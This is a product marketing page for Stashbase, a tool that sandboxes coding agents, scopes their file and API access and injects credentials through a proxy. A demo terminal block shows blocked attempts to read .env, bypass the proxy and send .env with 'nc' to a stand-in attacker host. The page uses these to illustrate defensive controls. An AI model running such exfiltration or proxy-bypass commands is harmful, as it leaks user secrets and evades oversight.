Scoped access forClaude Code
Run coding agents in a sandbox with access rules for files, APIs, and tools. Let them use credentials without seeing the real values.
Free forever: local sandboxing, proxy access, and unlimited profiles.
$
Give agents access—not your credentials
Let coding agents use the APIs, tools, and credentials they need while Stashbase keeps raw secrets outside the agent context and enforces policy at the request boundary.
egress_hosts = ["api.github.com", "mcp.linear.app"]
[secrets]
project = "project"
environment = "api-staging"
[secrets.GITHUB_TOKEN]
env = "GITHUB_TOKEN"
[[secrets.GITHUB_TOKEN.rules]]
effect = "allow"
hosts = ["api.github.com"]
methods = ["GET"]
paths = ["/repos/*/*/issues*"]
[personal_credentials.LINEAR_API_KEY]
env = "LINEAR_API_KEY"
[[personal_credentials.LINEAR_API_KEY.rules]]
effect = "allow"
hosts = ["mcp.linear.app"]
methods = ["GET", "POST"]
paths = ["/mcp"]Desktop quickstart
Try it yourself
Open this page on macOS or Linux to install the CLI and try the local policy.
Control MCP tools
Filter MCP tools and reject unauthorized calls while credentials remain behind the boundary.
Keep sensitive files outside the agent context
Scope filesystem access so agents can work in a project without opening up local secrets and certificates.
Prevent agents from installing known-vulnerable packages.
Scan packages for known CVEs before install and block dependencies that fail policy.
[personal_credentials.LINEAR_API_KEY]
env = "LINEAR_API_KEY"
[[personal_credentials.LINEAR_API_KEY.rules]]
effect = "allow"
hosts = ["mcp.linear.app"]
methods = ["GET", "POST"]
paths = ["/mcp"]
[mcp_servers.linear]
url = "https://mcp.linear.app/mcp"
binding = "LINEAR_API_KEY"
allow_tools = ["*"]
deny_tools = ["delete_issue"]Control tools as well as credentials.
Credentials stay at the boundary
Bindings inject authentication without exposing its value.
Allowed tools are visible
Unauthorized tools are filtered from the server’s tool list.
Denied tools cannot run
Calls outside policy are rejected before they reach the server.
Choose the right boundary
Use the same profile with either proxy. Your agent runs on your machine in both cases; only the place where credentials are injected changes.
The proxy and credential injection run on your machine. Use secrets from a local file or a Stashbase project.
Credential injection runs on Stashbase infrastructure, so resolved secrets are never loaded on your machine. See and revoke remote proxy sessions.
Enforced, not just configured
With the Docker backend, the agent runs inside a sandbox whose only route to the network is the Stashbase proxy. It can’t bypass your policies, read files you’ve denied, or send data to hosts you haven’t allowed.
egress_hosts = ["api.anthropic.com", "api.stripe.com"]
[sandbox]
backend = "docker"
isolated_paths = ["node_modules"]
[filesystem]
deny_read = ["./.env"]
[secrets.STRIPE_SECRET_KEY]
...$ cat .env
cat: .env: Permission denied
# denied by the profile
$ env -u HTTPS_PROXY curl https://example.com
curl: (7) Failed to connect
# can't skip the proxy: blocked by the firewall
$ nc attacker.example 4444 < .env
# blocked: only HTTP(S) through the proxy is allowed
$ nc -z host.docker.internal 5432
# blocked: no route to the host or private networks
$ curl -u "$STRIPE_SECRET_KEY:" \
https://api.stripe.com/v1/charges
# 200 OK: allowed, real key injected by the proxyA firewall, not just env vars
Each sandbox gets its own firewall with no direct route out: not to the internet, not to your host, not to private networks. The only way out is the Stashbase proxy, so unsetting HTTPS_PROXY or opening a raw connection gets nowhere.
$ env -u HTTPS_PROXY curl … → blockedRules the agent can’t touch
The firewall is set up outside the agent’s reach. The agent has no permission to change or remove it, so a compromised agent can’t switch it off.
disable firewall → permission deniedTwo backends, same profile
An OS-level sandbox by default, with nothing extra to install. Or switch to Docker for container isolation, where the agent sees only your project.
backend = "native" | "docker"Bring your own image
Use the default image with Claude Code and Codex preinstalled, or point a profile at your own image or Dockerfile. Custom images add tools, never privileges. Claude Code and Codex logins are kept in a Docker volume on your machine, so you sign in once and stay signed in across runs. This is the agent’s own login, separate from Stashbase proxy sessions.
dockerfile = "./sandbox.Dockerfile"Secrets for your apps, and for your agents
Manage credentials by project and environment in a Stashbase workspace, reference them in an agent profile, and the proxy uses them only for requests the profile allows. A free workspace includes one hosted project with 3 environments and up to 3 members.
Separate environments per project
Create development, staging, and production environments, each with its own secrets.
A dedicated environment for agents
Give coding agents their own environment with sandbox credentials, so they never touch production values.
Audit every credentialed operation
Review access decisions and usage as work moves toward production.
project:
name: web-api
environment:
name: production
is_production: true
secrets:
- name: AWS_ACCESS_KEY_ID
- name: DATABASE_URL
comment: Used by the application database clientSafe context for agents
Give agents the schema, not the values.
Generate a value-free YAML schema so coding agents know what an environment expects without receiving the credentials behind it.
Keep secure workflows in your terminal
Manage environments, run apps, and scan changes without leaving your terminal.
Explore everyday workflows in your terminal
Catch hardcoded secrets before they ship
Agents and developers both hardcode credentials. Catch them early and replace them with managed values.
Detect exposure
See exposed credentials wherever they surface.
Detect API keys, tokens, and other credentials in human- or agent-written code.
Continuously monitor GitHub for secrets that slip through.
Prevent the leak
Stop risky changes before they spread.
Scan staged changes, including agent edits, before they are committed or pushed.
Tune rules to the services and standards your team uses.
Respond with confidence
Get the right people moving on the right fix.
Notify your team as soon as an exposed secret is found.
Move to managed values and rotate compromised credentials.
Turn a secret leak into a reviewed fix.
Private AI drafts a commit-ready patch, removes the exposed value, and rotates the matching secret in Stashbase—so your team stays in control of every change.
Bring secure environment work into your tools
Inspect context and draft changes—never expose secret values.
Turn environment questions into action
Ask, analyze, and draft changes—then review before anything goes live.
Protect credentials from development to production
Encrypt and isolate every secret from local development to production.
Works with your existing infrastructure
Sync application secrets to the tools you use to build, deploy, and run applications.
Let agents do useful work—with scoped access.
Keep your project credentials in one workspace and let agents use them only through the access rules in their profiles. The free plan includes one hosted project with 3 environments.